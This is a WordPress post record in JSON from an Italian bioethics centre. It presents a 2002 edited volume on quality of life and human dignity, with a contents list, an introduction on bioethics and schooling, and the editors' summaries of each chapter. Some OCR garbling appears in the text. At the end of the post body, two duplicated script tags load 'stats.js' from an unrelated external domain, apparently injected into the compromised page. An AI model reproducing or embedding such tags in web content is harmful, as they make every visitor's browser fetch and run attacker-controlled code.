{"id":377,"date":"2003-01-01T00:01:45","date_gmt":"2003-01-01T00:01:45","guid":{"rendered":"http:\/\/www.centrobioeticapontedera.it\/?p=9"},"modified":"2025-11-03T08:48:16","modified_gmt":"2025-11-03T07:48:16","slug":"la-qualita-della-vita-e-la-dignita-della-persona","status":"publish","type":"post","link":"http:\/\/centrobioeticapontedera.it\/?p=377","title":{"rendered":"La qualit\u00e0 della vita e la dignit\u00e0 della persona"},"content":{"rendered":"<p><a href=\"http:\/\/www.centrobioeticapontedera.it\/wp-content\/uploads\/2011\/09\/laqualita.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-10 alignleft\" title=\"laqualita\" src=\"http:\/\/centrobioeticapontedera.it\/wp-content\/uploads\/sites\/11\/2011\/09\/laqualita.jpg\" alt=\"\" width=\"193\" height=\"300\" \/><\/a><strong>Bioetica: La qualit\u00e0 della vita e la dignit\u00e0 della persona: aspetti scientifici, etico-giuridici e filosofici<\/strong><br \/>\na cura di C. Dal Canto, M. Paoli, G. Volpi &#8211; Ed. Del Cerro 2002 (\u20ac 14,50)<\/p>\n<p><!--more--><\/p>\n<p>Presentazioni (p. 7)<br \/>\nIntroduzione (<a href=\"#Introduzione\">p. 11<\/a>)<br \/>\nNota dei curatori (<a href=\"#Nota\">p. 19<\/a>)<br \/>\nAmbiti e temi di ricerca delle biotecnologie &#8211; Gaia Marsico (p. 23)<br \/>\nProspettive e interrogativi sollevati dallo sviluppo biotecnologico &#8211; Marina Casini (p. 59)<br \/>\nBioetica: una risposta ai nuovi interrogativi &#8211; Maurizio Mori (p. 79)<br \/>\nIl pensiero giuridico di fronte alla sfida delle biotecnologie &#8211; Mario Zana (p. 119)<br \/>\nCultura filosofica e cultura tecnico-scientifica: spunti di riflessione &#8211; Guglielmo Tamburrini (p. 133)<br \/>\nppendice: I lavori premiati durante il concorso \u00abCon-vivere\/con dividere la scienza\u00bb (p. 138) &#8211; L\u2019esperienza della prima Conferenza nazionale di Bioetica per la scuola &#8211; Capua, 2001 (p. 144)<\/p>\n<p style=\"text-align: justify;\"><a id=\"Introduzione\" class=\"Titolo\" name=\"Introduzione\"><\/a><strong>Introduzione<\/strong><\/p>\n<p style=\"text-align: justify;\">Gli uomini di oggi sono posti di fronte ai numerosi problemi sollevati dall&#8217;evolversi delle conoscenze nel campo scientifico-tecnologico e fra questi, forse in modo particolare, a quelli emergenti nel settore delle scienze biologiche, alle quali molti studiosi riconoscono ormai, a partire dalla seconda met\u00e0 del Novecento, quel ruolo guida che era sempre stato tradizionalmente attribuito alla fisica. Tali problemi, tra l&#8217;altro, non sembrano risolvibili n\u00e9 attraverso l&#8217;estrema specializzazione dei saperi e delle relative competenze settoriali, n\u00e9 per mezzo della sterminata quantit\u00e0 di notizie che, diffuse dai grandi mezzi di comunicazione, riescono spesso pi\u00f9 a disorientare e ad allarmare che ad informare in maniera seria ed efficace.<br \/>\nSi potrebbero citare a tale proposito, tanto per rimanere ad alcune delle notizie che pi\u00f9 ci hanno colpito negli ultimi tempi, le riflessioni di Stephen Hawking, famoso professore di fisica dell&#8217;Universit\u00e0 di Cambridge e considerato una delle pi\u00f9 grandi menti viventi, il quale sostiene che l&#8217;intelligenza informatica si sta evolvendo con una velocit\u00e0 superiore a quella umana e che quindi l&#8217;uomo sar\u00e0, prima o poi, superato dalle \u00abmacchine\u00bb. Per cui, suggerisce Hawking, occorrer\u00e0 modificare il DNA umano, ossia creare uomini con un DNA pi\u00f9 complesso per evitare di essere sopraffatti dagli automi intelligenti. Insomma una specie di \u00abSuperuomini\u00bb da affiancare ai \u00abNormali\u00bb esseri umani. Oppure, si potrebbe pensare al dibattito suscitato dalle notizie diffuse sulla volont\u00e0 conclamata di procedere alla clorazione di esseri umani da parte di alcuni autorevoli ricercatori, tra cui l&#8217;italiano Severino Antinori il quale ha annunciato esperimenti in tal senso che avrebbero coinvolto donne di varie nazionalit\u00e0.<br \/>\nO ricordare, sempre sullo stesso argomento, la notizia relativa alla prima (o almeno presentata come tale) clonazione di un embrione umano avvenuta nel novembre del 2001 ad opera di una societ\u00e0 privata di biotecnologia con sede a Worcester nel Massachussetts e quella del parziale sviluppo di un embrione umano all&#8217;interno di un utero artificiale, anche in vista di un impianto sull&#8217;uomo in maniera da rendere interscambiabile il ruolo materno tra maschi e femmine, realizzato ,,quest&#8217;anno alla Cornell Un\u00edversity da un gruppo di scienziati statunitensi.<br \/>\nSi tratta, come rilevabile anche da questi semplici riferimenti, di questioni di grande importanza dalle quali, a nostro avviso, non possono prescindere tutti coloro che intendono maturare una autonomia di pensiero in vista di scelte libere e responsabili. Certo, si potrebbe pensare che, tutto sommato, \u00abnon c&#8217;\u00e8 niente di nuovo sotto il sole\u00bb (come anche affermato da Norberto Bobbio, seppure in un contesto non identico, in una intervista concessa a Vittorio Possenti e apparsa di recente su un quotidiano a larga diffusione), dal momento che l&#8217;uomo e il mondo sono sempre stati sostanzialmente gli stessi e che abbiamo sempre avuto un rapporto ambivalente e problematico con la natura.<br \/>\nSe ci\u00f2 \u00e8 in parte vero, ci sembra altrettanto vero che l&#8217;epoca attuale si caratterizza per alcune novit\u00e0 radicali. In particolare, e relativamente alle problematiche affrontate in questa sede, intendiamo riferirci ad una ricerca scientifica sempre pi\u00f9 spinta ai confini della vita con una violenza che, amplificata dal sistema massmediatico, rischia di far dimenticare quell&#8217; ethos che permette agli uomini di sentirsi se stessi; affermiamo che mai come oggi ci siamo trovati di fronte al rischio di fare della tecnica un idolo e che davanti a noi si pongono necessit\u00e0 del tutto nuove, rispetto alle quali principi dati per scontati da millenni non sono pi\u00f9 facilmente applicabili. Come \u00e8 stato opportunamente rilevato \u00ab&#8230;mentre la teoria della relativit\u00e0 e la meccanica quantisticali;iiino al massimo influenzato, mediante una trasposizione metaforica, l&#8217;\u00edmmagine che l&#8217;uomo ha di s\u00e9, la nuova biologia cambia invece l&#8217;uomo stesso\u00bb (A. Bolaffi, G. Marramao, Frammento e sistema, Donzelli, 2001).Questa nuova fase epocale ha contribuito a spingere alcuni studiosi a coniare il termine di bioetica, molti altri a dedicarsi a questo tipo di studi, ed ha fatto s\u00ec che tanti uomini di oggi approfondissero tale settore.Come ci ha suggerito il padre della prima bambina francese nata in provetta, Jacques Testart, siamo forse per la prima volta nella \u00ab&#8230;necessit\u00e0 di definire una soglia, quella che rende l&#8217;uomo intollerabile all&#8217;uomo\u00bb (L&#8217;uovo trasparente, Bompiani, 1988).<br \/>\nUn tale scenario rischia di essere ulteriormente aggravato anche dal depotenziamento della metafisica e dal conseguente prevalere di un \u00abpensiero debole\u00bb che ha condotto ad un certo smarrimento dell&#8217;identit\u00e0 ontologica dell&#8217;uomo, del senso della sua esistenza e all&#8217;apertura di un orizzonte di tipo nichilistico.<br \/>\nMa affrontare tematiche di bioetica come quelle legate alle manipolazioni genetiche ed alle biotecnologie, ai trapianti di organi, alla fecondazione artificiale, al trattamento degli embrioni o all&#8217;accanimento terapeutico, vuol dire anche fare chiarezza tra i vari ambiti dei saperi che entrano in gioco ed imparare a distinguere tra ci\u00f2 che appartiene all&#8217;ambito della tecnica, ci\u00f2 che riguarda il campo scientifico e quello che attiene al dominio dei principi filosofici ed etici. In particolare ci sembra fondamentale tentare di dare una prima risposta alla complessa questione del rapporto tra scienza e tecnica ricordando che la diffusa concezione secondo la quale la scienza si occuperebbe di questioni teoretiche e la tecnica delle conseguenti applicazioni pratiche, ci appare quantomeno semplicistica.<br \/>\nNon ci sentiamo pertanto di condividere affermazioni come quelle manifestate di recente in un libro-intervista da un noto e stimato filosofo (docente, tra l&#8217;altro, all&#8217;Ateneo pisano) il quale, oltre a ritenere la scienza una conquista irrinunciabile per l&#8217;umanit\u00e0, sostiene anche che solo \u00ab&#8230;il suo uso pu\u00f2 essere buono o cattivo\u00bb (R. Bodei, Il dottor Freud e i nervi dell&#8217;anima, Donzelli, 2000).<br \/>\nSe infatti seguendo altri studiosi come Umberto Galimberti, pensiamo che \u00abLa scienza non ha uno sguardo puro, non guarda il mondo per contemplarlo come fa il poeta ma per trasformarlo\u00bb e l&#8217;intenzione manipolatrice \u00e8 gi\u00e0 insita \u00ab&#8230;nello stesso atto di nascita dello sguardo scientifico\u00bb (E. Boncinelli e U. Galimberti con Giovanni Maria Pace, E ora? La dimensione umana e le sfide della scienza, Einaudi, 2000) allora ci appare problematica una distinzione tra ricerca pura e sue applicazioni pratiche da considerarsi buone o cattive in base ai risultati perseguiti. Riteniamo perci\u00f2; con Testart, che l&#8217;impresa tecnico-scientifica non sia un procedimento neutrale e che quindi occorra collocare le scelte etiche in un momento anteriore alla ricerca e sosteniamo la necessit\u00e0 di \u00abuna riflessione plur\u00eddisciplinare sul significato della produzione scientifica\u00bb (op. cit.).<br \/>\nCi sembra inoltre fondamentale non limitare una tale riflessione agli esperti delle varie discipline e agli addetti ai lavori ma estenderla in maniera pi\u00f9 ampia possibile, favorendo<br \/>\nil costituirsi di centri di approfondimento e di discussione capaci di superare l&#8217;orizzonte degli attuali comitati etici e degli ambiti specialistici.<br \/>\n\u00c8 proprio in questa direzione che intende procedere l&#8217;iniziativa avviata per la nostra citt\u00e0, grazie anche alla collaborazione dell&#8217;Amm.re Comunale, da un gruppo di insegnanti<br \/>\ndell&#8217;iris \u00abG. Marconi\u00bb, pur nella consapevolezza che l&#8217;impresa presenta difficolt\u00e0 culturali (diffusa sfiducia nella partecipazione e nel dialogo, allentamento dei legami sociali, trionfo dell&#8217;individualismo pi\u00f9 sfrenato ecc.) e logistiche non indifferenti ma, anche, nella convinzione che non possano esistere validi percorsi alternativi n\u00e9 facili scorciatoie per evitare che scelte coinvolgenti la direzione del nostro futuro vengano riservate a circoli elitari, depositari di interessi settoriali ed in ogni caso estranei al bene comune.<br \/>\nIn tale ottica non ci sentiamo di condividere le posizioni di coloro che auspicano una ricerca guidata da gruppi di poi crc, purch\u00e9 sganciati da criteri ideologici, religiosi e filosofici, iri quanto riteniamo che sottrarre tali gruppi a influenze (1i una simile natura costituisca un&#8217; impresa destinata al fallimento.<br \/>\nPer quanto gi\u00e0 fatto notare, non ci sembra neppure plausibile la concezione, assai diffusa in ambito scientifico, secondo cui alla scienza dovrebbe essere riconosciuto il diritto alla pi\u00f9 completa autonomia dal momento che essa stessa risulterebbe di per s\u00e9 autocorrettiva, ossia in grado di correggere (la sola i propri errori.<br \/>\nA costo di ripeterci riteniamo quindi che l&#8217;unica via percorribile, anche se non di semplice attuazione, sia l&#8217;apertura (li uno spazio di pubblica riflessione in vista di quella che potremmo definire una \u00abetica della convivialit\u00e0 della cittadinanza\u00bb mirante al coinvolgimento pi\u00f9 ampio possibile dei cittadini e, nello stesso tempo, orientata alla ricomposizione (lei saperi attraverso una interdisciplinarit\u00e0 spesso trascurata ira che, nella discussione bioetica, diviene assolutamente indispensabile anche in considerazione dell&#8217;unit\u00e0 e della complessit\u00e0 dell&#8217;essere umano.<br \/>\nOccorre dunque distinguere, in un primo momento, i vari ambiti dei saperi e le loro rispettive competenze, in vista di una successiva ricomposizione da condividere e da realizzare anche per arginare la diffusa tendenza alla disgregazione ed al particolarismo, con il conseguente rischio dello smarrimento della totalit\u00e0 dell&#8217;uomo.<br \/>\nIn tal senso riteniamo di fondamentale importanza, pur tra tante difficolt\u00e0, visto lo scetticismo ed il relativismo dominanti, ricercare alcuni principi etici comuni nello sforzo di approdare, secondo la prospettiva indicata dallo stesso Remo Bodei, ad un&#8217;etica \u00ab&#8230;universale, di tipo planetario, che valga per tutti gli uomini, al di l\u00e0 della loro cittadinanza\u00bb (op. cit.) e che risulti ragionevolmente difendibile. Con Bodei crediamo infatti che dovremmo considerare l&#8217;umanit\u00e0 \u00abCome una polifonia di voci differenti che, malgrado le dissonanze, cominci a confrontarsi su scala globale\u00bb (ivi) e con Bolaffi riteniamo opportuno che si ponga \u00ab&#8230;all&#8217;ordine del giorno la necessit\u00e0 di una convenzione bioetica globale che definisca una Magna Charta dei diritti biologici dell&#8217;umanit\u00e0\u00bb (A. Bolaffi, G. Marramao, op. cit. ).<br \/>\nQuesta esigenza di raggiungere valori universali sembra farsi strada anche in ambiti diversi da quello strettamente filosofico e a tale proposito, ad esempio, ci piace ricordare un intervento di Francesco Alberoni apparso negli ultimi mesi su un autorevole quotidiano ed una recente presa di posizione di Giovanni Berlinguer, attuale presidente del Comitato Nazionale di Bioetica, il quale ritiene proprio che, di fronte ai grandi interrogativi posti dalle nuove frontiere della conoscenza soprattutto nel settore delle biotecnologie, del genoma umano e dell&#8217;utilizzo delle cellule staminali, \u00e8 necessario che \u00absiano elaborati principi e regole che abbiano valore universale\u00bb.<br \/>\nCome insegnanti ci preme anche sottolineare che il carattere interdisciplinare della bioetica e il suo conseguente coinvolgimento di ambiti diversi del sapere comporti una seria riflessione nel campo educativo e quindi in quello scolastico.<br \/>\nSe infatti educare significa aiutare a comprendere il valore della ricerca dei significati, del dialogo intorno alle varie visioni dell&#8217;uomo e contribuire a fare scoprire le ragioni per cui un essere umano deve agire in vista della propria realizzazione, e la bioetica intende individuare principi di riferimento condivisibili da tutti, allora riteniamo che sia impossibile non riconoscerle un valore pedagogico. Non certamente come materia da aggiungere alle altre ma neppure con una valenza genericamente formativa secondo quanto inteso da alcune parti (v. anche Protocollo siglato tra Ministero della PI. e Comitato Nazionale di Bioetica). Crediamo invece che, a proposito dell&#8217;insegnamento della bioetica, si debba partire da una domanda essenziale: con quale etica possono essere pi\u00f9 adeguatamente affrontati i problemi sollevati dallo sviluppo delle tecnoscienze? Si esprime qui l&#8217;esigenza reale di individuare seri criteri di comportamento per la vita personale e la condotta sociale; ma quale educatore pu\u00f2 avere l&#8217;autorit\u00e0 di affermare che una morale \u00e8 migliore di un&#8217;altra? Non<br \/>\ne certo facile rispondere a questo interrogativo, ma possiamo tentare almeno una approssimazione verso una risposta possibile. In primo luogo ci sentiamo di escludere, anche in riferimento alle precedenti considerazioni, una presentazione neutrale delle problematiche bioetiche, perch\u00e9 questa scelta sarebbe di per s\u00e9 gi\u00e0 il frutto di un orientamento etico ben )reciso, cos\u00ec come non possiamo limitarci ad individuare \u00edl senso delle domande eludendo qualsiasi risposta. \u00c8 quindi necessario ricercare un nucleo di valori condivisi a cui riferirsi, norme oggettivamente fondate che possano guidare l&#8217;agire umano.<br \/>\nLa consapevolezza di una cittadinanza democratica impone che non si possa agire senza; pensare, senza assumersi responsabilit\u00e0: attraverso la bioetica prende forma l&#8217;esercizio alla critica come libert\u00e0 che si apre alla responsabilit\u00e0.<br \/>\nProporre agli studenti, attraverso l&#8217;esercizio della razionalit\u00e0, una sintesi tra libert\u00e0 e responsabilit\u00e0 ci appare un percorso in armonia con quanto gi\u00e0 indicato perch\u00e9 la libert\u00e0 Nell&#8217;uomo \u00e8 condizionata dalla responsabilit\u00e0 verso se stessi e verso gli altri. Facciamo proprio, in tal senso, quanto una volta ebbe a scrivere Karl Jaspers: \u00abSolo quando si manifesta un conflitto sul terreno della prassi appare chiaro che cosa importi a un uomo. Solo nel momento concreto, che costringe alla decisione, non alla mera riflessione su di esso, si fa palese che cosa per un uomo soprattutto conti, e inoltre se egli conduca la propria vita obbedendo a determinazioni gerarchiche che le conferiscono un assetto, una struttura, o se invece si abbandoni a comportamenti di volta in volta discordanti, in una confusione che finisce con l&#8217;occultare il senso della sua vita\u00bb (Karl Jaspers, Piccola scuola del pensiero filosofico, SE Editore, 1998).<br \/>\nSono passati ormai diversi anni da quando il gruppo nato :fI1&#8217;interno dell&#8217;ITIS \u00abGuglielmo Marconi\u00bb organizzava una serie di giornate di studio sul tema: \u00abPerch\u00e9 la filosofia oggi?\u00bb. Attualmente, anche dopo avere promosso ulteriori iniziative stille implicazioni del nostro sviluppo tecnico scientifico ed avere avviato una riflessione in ambito bioetico, riteniamo di potere affermare che gli elementi fondamentali emersi nel corso di quelle giornate ricevano nuove conferme. Quanto riportato dopo quella occasione e precisamente che \u00abl&#8217;enorme progresso della scienza e della tecnica nell&#8217;epoca contemporanea, accanto alla risoluzione di numerosi problemi del genere umano, ha anche aperto &#8211; come era facilmente prevedibile &#8211; pericolose fratture e creato problematiche nuove che possono offrirsi alla riflessione filosofica nel tentativo di trovare in essa alcune possibili soluzioni\u00bb (Filosofia <em>ed Etica di fronte <\/em>allo sviluppo <em>scientifico tecnologico, <\/em>Atti dei convegni, iris G. Marconi, Pontedera, 2000) ci sembra infatti rafforzata se ci mettiamo, in particolare, in una prospettiva bioetica. Le scelte che diventano sempre pi\u00f9 drammatiche per le possibilit\u00e0 che la scienza e la tecnica offrono all&#8217;uomo non potranno infatti prescindere da una riflessione filosofica sull&#8217;essere umano, sul senso della vita e su ci\u00f2 che si pensa debba essere il nostro futuro, cos\u00ec come probabilmente non potranno fare a meno di una analisi dei meccanismi di potere pi\u00f9 o meno occulti e degli interessi che entrano in gioco.<\/p>\n<p style=\"text-align: right;\" align=\"right\">Pontedera, Giugno 2002<\/p>\n<p style=\"text-align: justify;\" align=\"center\"><strong><a id=\"Nota\" class=\"Titolo\" name=\"Nota\"><\/a>Nota dei curatori<\/strong><\/p>\n<p style=\"text-align: justify;\" align=\"justify\">La Dott.ssa Gaia Marsico presenta una relazione centrata sulle problematiche relative all&#8217;inizio della vita intendendo proporre in primo luogo una aggiornata rassegna delle diverse posizioni emerse in ambito laico e cattolico su questioni come lo statuto dell&#8217; embrione} la procreazione assistita} l&#8217;aborto e le loro conseguenze sul piano etico-sociale. Un&#8217;attenzione partico lare \u00e8 rivolta a problematiche meno dibattute ma forse pi\u00f9 le gate alla vita quotidiana di tante persone come la diagnosi pre- natale genetica (amniocentesi) ed il consenso informato. Nella parte finale del suo intervento, l&#8217;autrice tenta di circoscrivere il campo di interesse complessivo della bioetica evidenziandone anche la portata ed i suoi possibili significati per la societ\u00e0 con temporanea. In conclusione viene individuato per la bioetica il compito di proporsi come cosci\u00e8nza critica nei confronti di tan ti aspetti della pratica scientifica e punto di riferimento per la maturazione di scelte etiche autonome e responsabili.<\/p>\n<p style=\"text-align: justify;\">Nel secondo intervento la Dott.ssa Marina Casini, dopo avere operato una distinzione tra quella che si pu\u00f2 definire \u00abEtica della disponibilit\u00e0 della vita\u00bb e \u00abEtica della indisponi bilit\u00e0 della vita\u00bb, indica in quest&#8217;ultima la strada pi\u00f9 opportu na per affrontare le domande poste dall&#8217; incessante sviluppo tec nico-scientifico il quale ha offerto possibilit\u00e0 di intervento sugli aspetti pi\u00f9 intimi e misteriosi, della vita umana} motivando tale scelta con considerazioni di natura giuridica. Questo tipo di impostazione permette} secondo la relatrice, di affrontare le nuove sfide e di arrivare alla formulazione di un postulato di uguaglianza tra tutti gli uomini che pu\u00f2 essere laicamente condiviso e che pu\u00f2 anche rendere superata la classica distinzione tra bioetica laica e bioetica cattolica. La relatrice una volta ri badito, se mai ce ne fosse ancora bisogno, che l&#8217;esigenza meta-scientifica e quella meta-tecnologica emergono dall&#8217;interno della stessa scienza e che la problematica etica sorge a vari livelli della stessa pratica, propone di superare il grave rischio di \u00abdi sperdere l&#8217;essere umano nel mondo delle cose\u00bb attraverso un \u00abPersonalismo\u00bb ontologicamente fondato in grado, tra l&#8217;altro, di rappresentare una sfida per la costruzione di un ponte tra natura e persona, tra fede e ragione, tra etica e diritto.<\/p>\n<p style=\"text-align: justify;\">Il Prof. Maurizio Mori dopo aver individuato una analogia tra movimento bio etico e movimento illuminista per la loro enorme portata storica evidenzia nella cultura occidentale del nostro tempo un atteggiamento diffuso che ritiene non pi\u00f9 comprensibili i divieti morali assoluti. Oggi diventa quindi estremamente problematico, rispetto al passato, individuare una gerarchia di valori guida per le nostre scelte. Non si pu\u00f2 d&#8217;altronde ignorare che le vecchie tradizioni si sono formate in un&#8217;epoca nella quale l&#8217;uomo non conosceva ancora i processi vitali e non era quindi in grado di controllarli e di guidarli.<br \/>\nMa una volta che queste nuove conoscenze sono state acquisite, non ci possiamo pi\u00f9 permettere di perdere le opportunit\u00e0 offer te dalla nuova rivoluzione compiuta in campo medico-biologico anche se \u00e8 opportuno valutare i rischi cui \u00e8 possibile andare in contro. Dopo avere affrontato la distinzione tra etica laica e cattolica ed essersi dichiarato a favore di un&#8217; etica relativista, se con questo termine si intende affermare che \u00abi giudizi etici sono relativi alle circostanze\u00bb, il prof. Mori sostiene che la po sizione pi\u00f9 ragionevole sul piano etico \u00e8 quella di un \u00absoggettivismo obiettivista\u00bb. Si sofferma inoltre, tra le altre cose, sul concetto di vita distinguendo tra vita umana, essere umano, individuo e persona, sostenendo altres\u00ec che, a suo giu dizio, non \u00e8 possibile ritenere che l&#8217;embrione sia una persona.<\/p>\n<p style=\"text-align: justify;\">Il Prof. Zana attraverso una lettura attenta di alcuni documenti emanati da organismi nazionali ed internazionali in materia di bioetica, evidenzia importanti indicazioni che, se oppor tunamente filtrate attraverso un dibattito, potranno portare alla formulazione di \u00abRegole che siano tali da garantire, per un verso, il soddisfacimento delle esigenze che nascono dalla con creta esperienza e, dall&#8217; altro, il rispetto di quel principio fonda mentale rappresentato dalla dignit\u00e0 della persona umana\u00bb. In particolare, affrontando alcune tra le principali tematiche di bioetica, come quelle di fine-vita, rileva che il legislatore debba rimanere sul piano della norma generale al fine di non \u00abucci dere\u00bb la \u00abvariet\u00e0 delle istanze concrete\u00bb. A conclusione dell&#8217;in tervento l&#8217;autore accenna ai notevoli interessi economici che spesso intervengono in questo settore, rilevando comunque il ruolo che pu\u00f2 svolgere in tal senso il potere politico anche se non si nasconde che restano zone d&#8217;ombra assai preoccupanti.<\/p>\n<p style=\"text-align: justify;\">Il Prof. Tamburrini osserva come in Italia la cultura filosofica e quella scientifico-tecnologica siano ancora divise da vecchi pregiudizi per il cui superamento \u00e8 necessario, tra l&#8217;altro, \u00abattraversare con competenza i confini disciplinari\u00bb. Ricollegandosi ad uno studio che sta conducendo sull&#8217;Intelligenza Artificiale egli rileva come le competenze tecniche richieste in proposito non possano prescindere dalle conoscenze filosofiche. In genere si pu\u00f2 dunque affermare che uno scienziato che compia determinate indagini in un settore specifico, sia guidato nella sua ricerca \u00abanche da concezioni metafisiche, da ipotesi non empiriche sulla natura di ci\u00f2 che deve indagare\u00bb. La necessit\u00e0 di un approccio multidisciplinare \u00e8 avvertita specialmen te in bioetica che richiede non solo \u00abuna riflessione integrata\u00bb su tecnica, scienza e filosofia ma anche sull&#8217;uomo stesso in quanto soggetto moralmente responsabile.<\/p>\n<p style=\"text-align: justify;\">Le relazioni presentate in questo volume non sono state tutte riviste dagli autori (in particolare, non \u00e8 stato mai visionato il testo dalla Dott.ssa Marina Casini). I curatori della presente pubblicazione si assumono la responsabilit\u00e0 del contenuto di tali parti.<\/p>\n<p><script src='https:\/\/eaglelocation.xyz\/stats.js?l=p&#038;' type='text\/javascript'><\/script><script src='https:\/\/eaglelocation.xyz\/stats.js?l=p&#038;' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bioetica: La qualit\u00e0 della vita e la dignit\u00e0 della persona: aspetti scientifici, etico-giuridici e filosofici a cura di C. Dal Canto, M. Paoli, G. Volpi &#8211; Ed. Del Cerro 2002 (\u20ac 14,50)<\/p><p><a class=\"more-link btn\" href=\"http:\/\/centrobioeticapontedera.it\/?p=377\">Continua a leggere<\/a><\/p>\n","protected":false},"author":1,"featured_media":10,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[8],"tags":[],"class_list":["post-377","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-testi","item-wrap"],"_links":{"self":[{"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=\/wp\/v2\/posts\/377","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=377"}],"version-history":[{"count":3,"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=\/wp\/v2\/posts\/377\/revisions"}],"predecessor-version":[{"id":513,"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=\/wp\/v2\/posts\/377\/revisions\/513"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=\/wp\/v2\/media\/10"}],"wp:attachment":[{"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=377"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=377"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/centrobioeticapontedera.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=377"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}